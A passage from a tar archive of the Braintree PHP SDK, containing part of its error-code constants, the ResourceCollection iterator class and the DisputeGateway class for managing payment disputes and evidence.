PAYMENT_METHOD_PAYMENT_METHOD_NONCE_UNKNOWN = '93108'; const PAYMENT_METHOD_PAYMENT_METHOD_NONCE_LOCKED = '93109'; const PAYMENT_METHOD_PAYMENT_METHOD_PARAMS_ARE_REQUIRED = '93101'; const PAYMENT_METHOD_NO_LONGER_SUPPORTED = '93117'; const PAYMENT_METHOD_OPTIONS_US_BANK_ACCOUNT_VERIFICATION_METHOD_IS_INVALID = '93121'; const PAYPAL_ACCOUNT_AUTH_EXPIRED = '92911'; const PAYPAL_ACCOUNT_CANNOT_HAVE_BOTH_ACCESS_TOKEN_AND_CONSENT_CODE = '82903'; const PAYPAL_ACCOUNT_CANNOT_HAVE_FUNDING_SOURCE_WITHOUT_ACCESS_TOKEN = '92912'; const PAYPAL_ACCOUNT_CANNOT_UPDATE_PAYPAL_ACCOUNT_USING_PAYMENT_METHOD_NONCE = '92914'; const PAYPAL_ACCOUNT_CANNOT_VAULT_ONE_TIME_USE_PAYPAL_ACCOUNT = '82902'; const PAYPAL_ACCOUNT_CONSENT_CODE_OR_ACCESS_TOKEN_IS_REQUIRED = '82901'; const PAYPAL_ACCOUNT_CUSTOMER_ID_IS_REQUIRED_FOR_VAULTING = '82905'; const PAYPAL_ACCOUNT_INVALID_FUNDING_SOURCE_SELECTION = '92913'; const PAYPAL_ACCOUNT_INVALID_PARAMS_FOR_PAYPAL_ACCOUNT_UPDATE = '92915'; const PAYPAL_ACCOUNT_PAYMENT_METHOD_NONCE_CONSUMED = '92907'; const PAYPAL_ACCOUNT_PAYMENT_METHOD_NONCE_LOCKED = '92909'; const PAYPAL_ACCOUNT_PAYMENT_METHOD_NONCE_UNKNOWN = '92908'; const PAYPAL_ACCOUNT_PAYPAL_ACCOUNTS_ARE_NOT_ACCEPTED = '82904'; const PAYPAL_ACCOUNT_PAYPAL_COMMUNICATION_ERROR = '92910'; const PAYPAL_ACCOUNT_TOKEN_IS_IN_USE = '92906'; const SEPA_BANK_ACCOUNT_ACCOUNT_HOLDER_NAME_IS_REQUIRED = '93003'; const SEPA_BANK_ACCOUNT_BIC_IS_REQUIRED = '93002'; const SEPA_BANK_ACCOUNT_IBAN_IS_REQUIRED = '93001'; const SEPA_MANDATE_ACCOUNT_HOLDER_NAME_IS_REQUIRED = '83301'; const SEPA_MANDATE_BIC_INVALID_CHARACTER = '83306'; const SEPA_MANDATE_BIC_IS_REQUIRED = '83302'; const SEPA_MANDATE_BIC_LENGTH_IS_INVALID = '83307'; const SEPA_MANDATE_BIC_UNSUPPORTED_COUNTRY = '83308'; const SEPA_MANDATE_BILLING_ADDRESS_CONFLICT = '93311'; const SEPA_MANDATE_BILLING_ADDRESS_ID_IS_INVALID = '93312'; const SEPA_MANDATE_IBAN_INVALID_CHARACTER = '83305'; const SEPA_MANDATE_IBAN_INVALID_FORMAT = '83310'; const SEPA_MANDATE_IBAN_IS_REQUIRED = '83303'; const SEPA_MANDATE_IBAN_UNSUPPORTED_COUNTRY = '83309'; const SEPA_MANDATE_TYPE_IS_REQUIRED = '93304'; const SEPA_MANDATE_TYPE_IS_INVALID = '93313'; const SETTLEMENT_BATCH_SUMMARY_SETTLEMENT_DATE_IS_INVALID = '82302'; const SETTLEMENT_BATCH_SUMMARY_SETTLEMENT_DATE_IS_REQUIRED = '82301'; const SETTLEMENT_BATCH_SUMMARY_CUSTOM_FIELD_IS_INVALID = '82303'; const SUBSCRIPTION_BILLING_DAY_OF_MONTH_CANNOT_BE_UPDATED = '91918'; const SUBSCRIPTION_BILLING_DAY_OF_MONTH_IS_INVALID = '91914'; const SUBSCRIPTION_BILLING_DAY_OF_MONTH_MUST_BE_NUMERIC = '91913'; const SUBSCRIPTION_CANNOT_ADD_DUPLICATE_ADDON_OR_DISCOUNT = '91911'; const SUBSCRIPTION_CANNOT_EDIT_CANCELED_SUBSCRIPTION = '81901'; const SUBSCRIPTION_CANNOT_EDIT_EXPIRED_SUBSCRIPTION = '81910'; const SUBSCRIPTION_CANNOT_EDIT_PRICE_CHANGING_FIELDS_ON_PAST_DUE_SUBSCRIPTION = '91920'; const SUBSCRIPTION_FIRST_BILLING_DATE_CANNOT_BE_IN_THE_PAST = '91916'; const SUBSCRIPTION_FIRST_BILLING_DATE_CANNOT_BE_UPDATED = '91919'; const SUBSCRIPTION_FIRST_BILLING_DATE_IS_INVALID = '91915'; const SUBSCRIPTION_ID_IS_IN_USE = '81902'; const SUBSCRIPTION_INCONSISTENT_NUMBER_OF_BILLING_CYCLES = '91908'; const SUBSCRIPTION_INCONSISTENT_START_DATE = '91917'; const SUBSCRIPTION_INVALID_REQUEST_FORMAT = '91921'; const SUBSCRIPTION_MERCHANT_ACCOUNT_ID_IS_INVALID = '91901'; const SUBSCRIPTION_MISMATCH_CURRENCY_ISO_CODE = '91923'; const SUBSCRIPTION_NUMBER_OF_BILLING_CYCLES_CANNOT_BE_BLANK = '91912'; const SUBSCRIPTION_NUMBER_OF_BILLING_CYCLES_IS_TOO_SMALL = '91909'; const SUBSCRIPTION_NUMBER_OF_BILLING_CYCLES_MUST_BE_GREATER_THAN_ZERO = '91907'; const SUBSCRIPTION_NUMBER_OF_BILLING_CYCLES_MUST_BE_NUMERIC = '91906'; const SUBSCRIPTION_PAYMENT_METHOD_NONCE_CARD_TYPE_IS_NOT_ACCEPTED = '91924'; const SUBSCRIPTION_PAYMENT_METHOD_NONCE_IS_INVALID = '91925'; const SUBSCRIPTION_PAYMENT_METHOD_NONCE_NOT_ASSOCIATED_WITH_CUSTOMER = '91926'; const SUBSCRIPTION_PAYMENT_METHOD_NONCE_UNVAULTED_CARD_IS_NOT_ACCEPTED = '91927'; const SUBSCRIPTION_PAYMENT_METHOD_TOKEN_CARD_TYPE_IS_NOT_ACCEPTED = '91902'; const SUBSCRIPTION_PAYMENT_METHOD_TOKEN_IS_INVALID = '91903'; const SUBSCRIPTION_PAYMENT_METHOD_TOKEN_NOT_ASSOCIATED_WITH_CUSTOMER = '91905'; const SUBSCRIPTION_PLAN_BILLING_FREQUENCY_CANNOT_BE_UPDATED = '91922'; const SUBSCRIPTION_PLAN_ID_IS_INVALID = '91904'; const SUBSCRIPTION_PRICE_CANNOT_BE_BLANK = '81903'; const SUBSCRIPTION_PRICE_FORMAT_IS_INVALID = '81904'; const SUBSCRIPTION_PRICE_IS_TOO_LARGE = '81923'; const SUBSCRIPTION_STATUS_IS_CANCELED = '81905'; const SUBSCRIPTION_TOKEN_FORMAT_IS_INVALID = '81906'; const SUBSCRIPTION_TRIAL_DURATION_FORMAT_IS_INVALID = '81907'; const SUBSCRIPTION_TRIAL_DURATION_IS_REQUIRED = '81908'; const SUBSCRIPTION_TRIAL_DURATION_UNIT_IS_INVALID = '81909'; const SUBSCRIPTION_MERCHANT_ACCOUNT_DOES_NOT_SUPPORT_INSTRUMENT_TYPE = '91930'; const SUBSCRIPTION_PAYMENT_METHOD_NONCE_INSTRUMENT_TYPE_DOES_NOT_SUPPORT_SUBSCRIPTIONS = '91929'; const SUBSCRIPTION_PAYMENT_METHOD_TOKEN_INSTRUMENT_TYPE_DOES_NOT_SUPPORT_SUBSCRIPTIONS = '91928'; const SUBSCRIPTION_MODIFICATION_AMOUNT_CANNOT_BE_BLANK = '92003'; const SUBSCRIPTION_MODIFICATION_AMOUNT_IS_INVALID = '92002'; const SUBSCRIPTION_MODIFICATION_AMOUNT_IS_TOO_LARGE = '92023'; const SUBSCRIPTION_MODIFICATION_CANNOT_EDIT_MODIFICATIONS_ON_PAST_DUE_SUBSCRIPTION = '92022'; const SUBSCRIPTION_MODIFICATION_CANNOT_UPDATE_AND_REMOVE = '92015'; const SUBSCRIPTION_MODIFICATION_EXISTING_ID_IS_INCORRECT_KIND = '92020'; const SUBSCRIPTION_MODIFICATION_EXISTING_ID_IS_INVALID = '92011'; const SUBSCRIPTION_MODIFICATION_EXISTING_ID_IS_REQUIRED = '92012'; const SUBSCRIPTION_MODIFICATION_ID_TO_REMOVE_IS_INCORRECT_KIND = '92021'; const SUBSCRIPTION_MODIFICATION_ID_TO_REMOVE_IS_INVALID = '92025'; const SUBSCRIPTION_MODIFICATION_ID_TO_REMOVE_IS_NOT_PRESENT = '92016'; const SUBSCRIPTION_MODIFICATION_INCONSISTENT_NUMBER_OF_BILLING_CYCLES = '92018'; const SUBSCRIPTION_MODIFICATION_INHERITED_FROM_ID_IS_INVALID = '92013'; const SUBSCRIPTION_MODIFICATION_INHERITED_FROM_ID_IS_REQUIRED = '92014'; const SUBSCRIPTION_MODIFICATION_MISSING = '92024'; const SUBSCRIPTION_MODIFICATION_NUMBER_OF_BILLING_CYCLES_CANNOT_BE_BLANK = '92017'; const SUBSCRIPTION_MODIFICATION_NUMBER_OF_BILLING_CYCLES_IS_INVALID = '92005'; const SUBSCRIPTION_MODIFICATION_NUMBER_OF_BILLING_CYCLES_MUST_BE_GREATER_THAN_ZERO = '92019'; const SUBSCRIPTION_MODIFICATION_QUANTITY_CANNOT_BE_BLANK = '92004'; const SUBSCRIPTION_MODIFICATION_QUANTITY_IS_INVALID = '92001'; const SUBSCRIPTION_MODIFICATION_QUANTITY_MUST_BE_GREATER_THAN_ZERO = '92010'; const TRANSACTION_AMOUNT_CANNOT_BE_NEGATIVE = '81501'; const TRANSACTION_AMOUNT_DOES_NOT_MATCH3_D_SECURE_AMOUNT = '91585'; const TRANSACTION_AMOUNT_DOES_NOT_MATCH_IDEAL_PAYMENT_AMOUNT = '915144'; const TRANSACTION_AMOUNT_FORMAT_IS_INVALID = '81503'; const TRANSACTION_AMOUNT_IS_INVALID = '81503'; const TRANSACTION_AMOUNT_IS_REQUIRED = '81502'; const TRANSACTION_AMOUNT_IS_TOO_LARGE = '81528'; const TRANSACTION_AMOUNT_MUST_BE_GREATER_THAN_ZERO = '81531'; const TRANSACTION_BILLING_ADDRESS_CONFLICT = '91530'; const TRANSACTION_CANNOT_BE_VOIDED = '91504'; const TRANSACTION_CANNOT_CANCEL_RELEASE = '91562'; const TRANSACTION_CANNOT_CLONE_CREDIT = '91543'; const TRANSACTION_CANNOT_CLONE_MARKETPLACE_TRANSACTION = '915137'; const TRANSACTION_CANNOT_CLONE_TRANSACTION_WITH_PAYPAL_ACCOUNT = '91573'; const TRANSACTION_CANNOT_CLONE_TRANSACTION_WITH_VAULT_CREDIT_CARD = '91540'; const TRANSACTION_CANNOT_CLONE_UNSUCCESSFUL_TRANSACTION = '91542'; const TRANSACTION_CANNOT_CLONE_VOICE_AUTHORIZATIONS = '91541'; const TRANSACTION_CANNOT_HOLD_IN_ESCROW = '91560'; const TRANSACTION_CANNOT_PARTIALLY_REFUND_ESCROWED_TRANSACTION = '91563'; const TRANSACTION_CANNOT_REFUND_CREDIT = '91505'; const TRANSACTION_CANNOT_REFUND_SETTLING_TRANSACTION = '91574'; const TRANSACTION_CANNOT_REFUND_UNLESS_SETTLED = '91506'; const TRANSACTION_CANNOT_REFUND_WITH_PENDING_MERCHANT_ACCOUNT = '91559'; const TRANSACTION_CANNOT_REFUND_WITH_SUSPENDED_MERCHANT_ACCOUNT = '91538'; const TRANSACTION_CANNOT_RELEASE_FROM_ESCROW = '91561'; const TRANSACTION_CANNOT_SIMULATE_SETTLEMENT = '91575'; const TRANSACTION_CANNOT_SUBMIT_FOR_PARTIAL_SETTLEMENT = '915103'; const TRANSACTION_CANNOT_SUBMIT_FOR_SETTLEMENT = '91507'; const TRANSACTION_CANNOT_UPDATE_DETAILS_NOT_SUBMITTED_FOR_SETTLEMENT = '915129'; const TRANSACTION_CHANNEL_IS_TOO_LONG = '91550'; const TRANSACTION_CREDIT_CARD_IS_REQUIRED = '91508'; const TRANSACTION_CUSTOMER_DEFAULT_PAYMENT_METHOD_CARD_TYPE_IS_NOT_ACCEPTED = '81509'; const TRANSACTION_CUSTOMER_DOES_NOT_HAVE_CREDIT_CARD = '91511'; const TRANSACTION_CUSTOMER_ID_IS_INVALID = '91510'; const TRANSACTION_CUSTOM_FIELD_IS_INVALID = '91526'; const TRANSACTION_CUSTOM_FIELD_IS_TOO_LONG = '81527'; const TRANSACTION_PAYMENT_INSTRUMENT_WITH_EXTERNAL_VAULT_IS_INVALID = '915176'; const TRANSACTION_HAS_ALREADY_BEEN_REFUNDED = '91512'; const TRANSACTION_IDEAL_PAYMENT_NOT_COMPLETE = '815141'; const TRANSACTION_IDEAL_PAYMENTS_CANNOT_BE_VAULTED = '915150'; const TRANSACTION_LINE_ITEMS_EXPECTED = '915158'; const TRANSACTION_TOO_MANY_LINE_ITEMS = '915157'; const TRANSACTION_DISCOUNT_AMOUNT_FORMAT_IS_INVALID = '915159'; const TRANSACTION_DISCOUNT_AMOUNT_CANNOT_BE_NEGATIVE = '915160'; const TRANSACTION_DISCOUNT_AMOUNT_IS_TOO_LARGE = '915161'; const TRANSACTION_SHIPPING_AMOUNT_FORMAT_IS_INVALID = '915162'; const TRANSACTION_SHIPPING_AMOUNT_CANNOT_BE_NEGATIVE = '915163'; const TRANSACTION_SHIPPING_AMOUNT_IS_TOO_LARGE = '915164'; const TRANSACTION_SHIPS_FROM_POSTAL_CODE_IS_TOO_LONG = '915165'; const TRANSACTION_SHIPS_FROM_POSTAL_CODE_IS_INVALID = '915166'; const TRANSACTION_SHIPS_FROM_POSTAL_CODE_INVALID_CHARACTERS = '915167'; const TRANSACTION_MERCHANT_ACCOUNT_DOES_NOT_MATCH3_D_SECURE_MERCHANT_ACCOUNT = '91584'; const TRANSACTION_MERCHANT_ACCOUNT_DOES_NOT_MATCH_IDEAL_PAYMENT_MERCHANT_ACCOUNT = '915143'; const TRANSACTION_MERCHANT_ACCOUNT_DOES_NOT_SUPPORT_MOTO = '91558'; const TRANSACTION_MERCHANT_ACCOUNT_DOES_NOT_SUPPORT_REFUNDS = '91547'; const TRANSACTION_MERCHANT_ACCOUNT_ID_DOES_NOT_MATCH_SUBSCRIPTION = '915180'; const TRANSACTION_MERCHANT_ACCOUNT_ID_IS_INVALID = '91513'; const TRANSACTION_MERCHANT_ACCOUNT_IS_SUSPENDED = '91514'; const TRANSACTION_MERCHANT_ACCOUNT_NAME_IS_INVALID = '91513'; //Deprecated const TRANSACTION_OPTIONS_PAY_PAL_CUSTOM_FIELD_TOO_LONG = '91580'; const TRANSACTION_OPTIONS_SUBMIT_FOR_SETTLEMENT_IS_REQUIRED_FOR_CLONING = '91544'; const TRANSACTION_OPTIONS_SUBMIT_FOR_SETTLEMENT_IS_REQUIRED_FOR_PAYPAL_UNILATERAL = '91582'; const TRANSACTION_OPTIONS_USE_BILLING_FOR_SHIPPING_DISABLED = '91572'; const TRANSACTION_OPTIONS_VAULT_IS_DISABLED = '91525'; const TRANSACTION_OPTIONS_CREDIT_CARD_ACCOUNT_TYPE_IS_INVALID = '915184'; const TRANSACTION_OPTIONS_CREDIT_CARD_ACCOUNT_TYPE_NOT_SUPPORTED = '915185'; const TRANSACTION_OPTIONS_CREDIT_CARD_ACCOUNT_TYPE_DEBIT_DOES_NOT_SUPPORT_AUTHS = '915186'; const TRANSACTION_ORDER_ID_DOES_NOT_MATCH_IDEAL_PAYMENT_ORDER_ID = '91503'; const TRANSACTION_ORDER_ID_IS_REQUIRED_WITH_IDEAL_PAYMENT = '91502'; const TRANSACTION_ORDER_ID_IS_TOO_LONG = '91501'; const TRANSACTION_PAYMENT_INSTRUMENT_NOT_SUPPORTED_BY_MERCHANT_ACCOUNT = '91577'; const TRANSACTION_PAYMENT_INSTRUMENT_TYPE_IS_NOT_ACCEPTED = '915101'; const TRANSACTION_PAYMENT_METHOD_CONFLICT = '91515'; const TRANSACTION_PAYMENT_METHOD_CONFLICT_WITH_VENMO_SDK = '91549'; const TRANSACTION_PAYMENT_METHOD_DOES_NOT_BELONG_TO_CUSTOMER = '91516'; const TRANSACTION_PAYMENT_METHOD_DOES_NOT_BELONG_TO_SUBSCRIPTION = '91527'; const TRANSACTION_PAYMENT_METHOD_NONCE_CARD_TYPE_IS_NOT_ACCEPTED = '91567'; const TRANSACTION_PAYMENT_METHOD_NONCE_CONSUMED = '91564'; const TRANSACTION_PAYMENT_METHOD_NONCE_HAS_NO_VALID_PAYMENT_INSTRUMENT_TYPE = '91569'; const TRANSACTION_PAYMENT_METHOD_NONCE_LOCKED = '91566'; const TRANSACTION_PAYMENT_METHOD_NONCE_UNKNOWN = '91565'; const TRANSACTION_PAYMENT_METHOD_TOKEN_CARD_TYPE_IS_NOT_ACCEPTED = '91517'; const TRANSACTION_PAYMENT_METHOD_TOKEN_IS_INVALID = '91518'; const TRANSACTION_PAYPAL_NOT_ENABLED = '91576'; const TRANSACTION_PAY_PAL_AUTH_EXPIRED = '91579'; const TRANSACTION_PAY_PAL_VAULT_RECORD_MISSING_DATA = '91583'; const TRANSACTION_PROCESSOR_AUTHORIZATION_CODE_CANNOT_BE_SET = '91519'; const TRANSACTION_PROCESSOR_AUTHORIZATION_CODE_IS_INVALID = '81520'; const TRANSACTION_PROCESSOR_DOES_NOT_SUPPORT_AUTHS = '915104'; const TRANSACTION_PROCESSOR_DOES_NOT_SUPPORT_CREDITS = '91546'; const TRANSACTION_PROCESSOR_DOES_NOT_SUPPORT_PARTIAL_SETTLEMENT = '915102'; const TRANSACTION_PROCESSOR_DOES_NOT_SUPPORT_UPDATING_ORDER_ID = '915107'; const TRANSACTION_PROCESSOR_DOES_NOT_SUPPORT_UPDATING_DESCRIPTOR = '915108'; const TRANSACTION_PROCESSOR_DOES_NOT_SUPPORT_UPDATING_DETAILS = '915130'; const TRANSACTION_PROCESSOR_DOES_NOT_SUPPORT_VOICE_AUTHORIZATIONS = '91545'; const TRANSACTION_PURCHASE_ORDER_NUMBER_IS_INVALID = '91548'; const TRANSACTION_PURCHASE_ORDER_NUMBER_IS_TOO_LONG = '91537'; const TRANSACTION_REFUND_AMOUNT_IS_TOO_LARGE = '91521'; const TRANSACTION_SERVICE_FEE_AMOUNT_CANNOT_BE_NEGATIVE = '91554'; const TRANSACTION_SERVICE_FEE_AMOUNT_FORMAT_IS_INVALID = '91555'; const TRANSACTION_SERVICE_FEE_AMOUNT_IS_TOO_LARGE = '91556'; const TRANSACTION_SERVICE_FEE_AMOUNT_NOT_ALLOWED_ON_MASTER_MERCHANT_ACCOUNT = '91557'; const TRANSACTION_SERVICE_FEE_IS_NOT_ALLOWED_ON_CREDITS = '91552'; const TRANSACTION_SERVICE_FEE_NOT_ACCEPTED_FOR_PAYPAL = '91578'; const TRANSACTION_SETTLEMENT_AMOUNT_IS_LESS_THAN_SERVICE_FEE_AMOUNT = '91551'; const TRANSACTION_SETTLEMENT_AMOUNT_IS_TOO_LARGE = '91522'; const TRANSACTION_SHIPPING_ADDRESS_DOESNT_MATCH_CUSTOMER = '91581'; const TRANSACTION_SUBSCRIPTION_DOES_NOT_BELONG_TO_CUSTOMER = '91529'; const TRANSACTION_SUBSCRIPTION_ID_IS_INVALID = '91528'; const TRANSACTION_SUBSCRIPTION_STATUS_MUST_BE_PAST_DUE = '91531'; const TRANSACTION_SUB_MERCHANT_ACCOUNT_REQUIRES_SERVICE_FEE_AMOUNT = '91553'; const TRANSACTION_TAX_AMOUNT_CANNOT_BE_NEGATIVE = '81534'; const TRANSACTION_TAX_AMOUNT_FORMAT_IS_INVALID = '81535'; const TRANSACTION_TAX_AMOUNT_IS_TOO_LARGE = '81536'; const TRANSACTION_THREE_D_SECURE_AUTHENTICATION_FAILED = '81571'; const TRANSACTION_THREE_D_SECURE_TOKEN_IS_INVALID = '91568'; const TRANSACTION_THREE_D_SECURE_TRANSACTION_DATA_DOESNT_MATCH_VERIFY = '91570'; const TRANSACTION_THREE_D_SECURE_ECI_FLAG_IS_REQUIRED = '915113'; const TRANSACTION_THREE_D_SECURE_CAVV_IS_REQUIRED = '915116'; const TRANSACTION_THREE_D_SECURE_XID_IS_REQUIRED = '915115'; const TRANSACTION_THREE_D_SECURE_ECI_FLAG_IS_INVALID = '915114'; const TRANSACTION_THREE_D_SECURE_MERCHANT_ACCOUNT_DOES_NOT_SUPPORT_CARD_TYPE = '915131'; const TRANSACTION_TYPE_IS_INVALID = '91523'; const TRANSACTION_TYPE_IS_REQUIRED = '91524'; const TRANSACTION_UNSUPPORTED_VOICE_AUTHORIZATION = '91539'; const TRANSACTION_US_BANK_ACCOUNT_NONCE_MUST_BE_PLAID_VERIFIED = '915171'; const TRANSACTION_US_BANK_ACCOUNT_NOT_VERIFIED = '915172'; const TRANSACTION_TRANSACTION_SOURCE_IS_INVALID = '915133'; const US_BANK_ACCOUNT_VERIFICATION_NOT_CONFIRMABLE = '96101'; const US_BANK_ACCOUNT_VERIFICATION_MUST_BE_MICRO_TRANSFERS_VERIFICATION = '96102'; const US_BANK_ACCOUNT_VERIFICATION_AMOUNTS_DO_NOT_MATCH = '96103'; const US_BANK_ACCOUNT_VERIFICATION_TOO_MANY_CONFIRMATION_ATTEMPTS = '96104'; const US_BANK_ACCOUNT_VERIFICATION_UNABLE_TO_CONFIRM_DEPOSIT_AMOUNTS = '96105'; const US_BANK_ACCOUNT_VERIFICATION_INVALID_DEPOSIT_AMOUNTS = '96106'; const VERIFICATION_OPTIONS_AMOUNT_CANNOT_BE_NEGATIVE = '94201'; const VERIFICATION_OPTIONS_AMOUNT_FORMAT_IS_INVALID = '94202'; const VERIFICATION_OPTIONS_AMOUNT_IS_TOO_LARGE = '94207'; const VERIFICATION_OPTIONS_AMOUNT_NOT_SUPPORTED_BY_PROCESSOR = '94203'; const VERIFICATION_OPTIONS_MERCHANT_ACCOUNT_ID_IS_INVALID = '94204'; const VERIFICATION_OPTIONS_MERCHANT_ACCOUNT_IS_SUSPENDED = '94205'; const VERIFICATION_OPTIONS_MERCHANT_ACCOUNT_IS_FORBIDDEN = '94206'; const VERIFICATION_OPTIONS_MERCHANT_ACCOUNT_CANNOT_BE_SUB_MERCHANT_ACCOUNT = '94208'; const VERIFICATION_OPTIONS_ACCOUNT_TYPE_IS_INVALID = '942184'; const VERIFICATION_OPTIONS_ACCOUNT_TYPE_NOT_SUPPORTED = '942185'; } class_alias('Braintree\Error\Codes', 'Braintree_Error_Codes'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/ResourceCollection.php������������������������������������������������������0000644�����������������00000006763�14720677707�0015551 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use Iterator; /** * Braintree ResourceCollection * ResourceCollection is a container object for result data * * stores and retrieves search results and aggregate data * * example: * <code> * $result = Customer::all(); * * foreach($result as $transaction) { * print_r($transaction->id); * } * </code> * * @package Braintree * @subpackage Utility */ class ResourceCollection implements Iterator { private $_batchIndex; private $_ids; private $_index; private $_items; private $_pageSize; private $_pager; /** * set up the resource collection * * expects an array of attributes with literal keys * * @param array $response * @param array $pager */ public function __construct($response, $pager) { $this->_pageSize = $response["searchResults"]["pageSize"]; $this->_ids = $response["searchResults"]["ids"]; $this->_pager = $pager; } /** * returns the current item when iterating with foreach */ public function current() { return $this->_items[$this->_index]; } /** * returns the first item in the collection * * @return mixed */ public function firstItem() { $ids = $this->_ids; $page = $this->_getPage([$ids[0]]); return $page[0]; } public function key() { return null; } /** * advances to the next item in the collection when iterating with foreach */ public function next() { ++$this->_index; } /** * rewinds the testIterateOverResults collection to the first item when iterating with foreach */ public function rewind() { $this->_batchIndex = 0; $this->_getNextPage(); } /** * returns whether the current item is valid when iterating with foreach */ public function valid() { if ($this->_index == count($this->_items) && $this->_batchIndex < count($this->_ids)) { $this->_getNextPage(); } if ($this->_index < count($this->_items)) { return true; } else { return false; } } public function maximumCount() { return count($this->_ids); } private function _getNextPage() { if (empty($this->_ids)) { $this->_items = []; } else { $this->_items = $this->_getPage(array_slice($this->_ids, $this->_batchIndex, $this->_pageSize)); $this->_batchIndex += $this->_pageSize; $this->_index = 0; } } /** * requests the next page of results for the collection * * @return void */ private function _getPage($ids) { $object = $this->_pager['object']; $method = $this->_pager['method']; $methodArgs = []; foreach ($this->_pager['methodArgs'] as $arg) { array_push($methodArgs, $arg); } array_push($methodArgs, $ids); return call_user_func_array( [$object, $method], $methodArgs ); } /** * returns all IDs in the collection * * @return array */ public function getIds() { return $this->_ids; } } class_alias('Braintree\ResourceCollection', 'Braintree_ResourceCollection'); �������������braintree/lib/Braintree/DisputeGateway.php����������������������������������������������������������0000644�����������������00000021333�14720677707�0014673 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Braintree DisputeGateway module * PHP Version 5 * Creates and manages Braintree Disputes * * @package Braintree */ class DisputeGateway { /** * @var Gateway */ private $_gateway; /** * @var Configuration */ private $_config; /** * @var Http */ private $_http; /** * @param Gateway $gateway */ public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } /* public class methods */ /** * Accepts a dispute, given a dispute ID * * @param string $id */ public function accept($id) { try { if (trim($id) == "") { throw new Exception\NotFound(); } $path = $this->_config->merchantPath() . '/disputes/' . $id . '/accept'; $response = $this->_http->put($path); if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } return new Result\Successful(); } catch (Exception\NotFound $e) { throw new Exception\NotFound('dispute with id "' . $id . '" not found'); } } /** * Adds file evidence to a dispute, given a dispute ID and a document ID * * @param string $disputeId * @param string $documentIdOrRequest */ public function addFileEvidence($disputeId, $documentIdOrRequest) { $request = is_array($documentIdOrRequest) ? $documentIdOrRequest : ['documentId' => $documentIdOrRequest]; if (trim($disputeId) == "") { throw new Exception\NotFound('dispute with id "' . $disputeId . '" not found'); } if (trim($request['documentId']) == "") { throw new Exception\NotFound('document with id "' . $request['documentId'] . '" not found'); } try { if (array_key_exists('category', $request)) { if (trim($request['category']) == "") { throw new InvalidArgumentException('category cannot be blank'); } } $request['document_upload_id'] = $request['documentId']; unset($request['documentId']); $path = $this->_config->merchantPath() . '/disputes/' . $disputeId . '/evidence'; $response = $this->_http->post($path, ['evidence' => $request]); if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } if (isset($response['evidence'])) { $evidence = new Dispute\EvidenceDetails($response['evidence']); return new Result\Successful($evidence); } } catch (Exception\NotFound $e) { throw new Exception\NotFound('dispute with id "' . $disputeId . '" not found'); } } /** * Adds text evidence to a dispute, given a dispute ID and content * * @param string $id * @param string $content */ public function addTextEvidence($id, $contentOrRequest) { $request = is_array($contentOrRequest) ? $contentOrRequest : ['content' => $contentOrRequest]; if (trim($request['content']) == "") { throw new InvalidArgumentException('content cannot be blank'); } try { $evidence = [ 'comments' => $request['content'], ]; if (trim($id) == "") { throw new Exception\NotFound(); } if (array_key_exists('tag', $request)) { $evidence['category'] = $request['tag']; } if (array_key_exists('category', $request)) { if (trim($request['category']) == "") { throw new InvalidArgumentException('category cannot be blank'); } $evidence['category'] = $request['category']; } if (array_key_exists('sequenceNumber', $request)) { if (trim($request['sequenceNumber']) == "") { throw new InvalidArgumentException('sequenceNumber cannot be blank'); } else if ((string)(int)($request['sequenceNumber']) != $request['sequenceNumber']) { throw new InvalidArgumentException('sequenceNumber must be an integer'); } $evidence['sequenceNumber'] = (int)$request['sequenceNumber']; } $path = $this->_config->merchantPath() . '/disputes/' . $id . '/evidence'; $response = $this->_http->post($path, [ 'evidence' => $evidence ]); if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } if (isset($response['evidence'])) { $evidence = new Dispute\EvidenceDetails($response['evidence']); return new Result\Successful($evidence); } } catch (Exception\NotFound $e) { throw new Exception\NotFound('dispute with id "' . $id . '" not found'); } } /** * Finalize a dispute, given a dispute ID * * @param string $id */ public function finalize($id) { try { if (trim($id) == "") { throw new Exception\NotFound(); } $path = $this->_config->merchantPath() . '/disputes/' . $id . '/finalize'; $response = $this->_http->put($path); if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } return new Result\Successful(); } catch (Exception\NotFound $e) { throw new Exception\NotFound('dispute with id "' . $id . '" not found'); } } /** * Find a dispute, given a dispute ID * * @param string $id */ public function find($id) { if (trim($id) == "") { throw new Exception\NotFound('dispute with id "' . $id . '" not found'); } try { $path = $this->_config->merchantPath() . '/disputes/' . $id; $response = $this->_http->get($path); return Dispute::factory($response['dispute']); } catch (Exception\NotFound $e) { throw new Exception\NotFound('dispute with id "' . $id . '" not found'); } } /** * Remove evidence from a dispute, given a dispute ID and evidence ID * * @param string $disputeId * @param string $evidenceId */ public function removeEvidence($disputeId, $evidenceId) { try { if (trim($disputeId) == "" || trim($evidenceId) == "") { throw new Exception\NotFound(); } $path = $this->_config->merchantPath() . '/disputes/' . $disputeId . '/evidence/' . $evidenceId; $response = $this->_http->delete($path); if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } return new Result\Successful(); } catch (Exception\NotFound $e) { throw new Exception\NotFound('evidence with id "' . $evidenceId . '" for dispute with id "' . $disputeId . '" not found'); } } /** * Search for Disputes, given a DisputeSearch query * * @param DisputeSearch $query */ public function search($query) { $criteria = []; foreach ($query as $term) { $criteria[$term->name] = $term->toparam(); } $pager = [ 'object' => $this, 'method' => 'fetchDisputes', 'query' => $criteria ]; return new PaginatedCollection($pager); } public function fetchDisputes($query, $page) { $response = $this->_http->post($this->_config->merchantPath() . '/disputes/advanced_search?page=' . $page, [ 'search' => $query ]); $body = $response['disputes']; $disputes = Util::extractattributeasarray($body, 'dispute'); $totalItems = $body['totalItems'][0]; $pageSize = $body['pageSize'][0]; return new PaginatedResult($totalItems, $pageSize, $disputes); } } 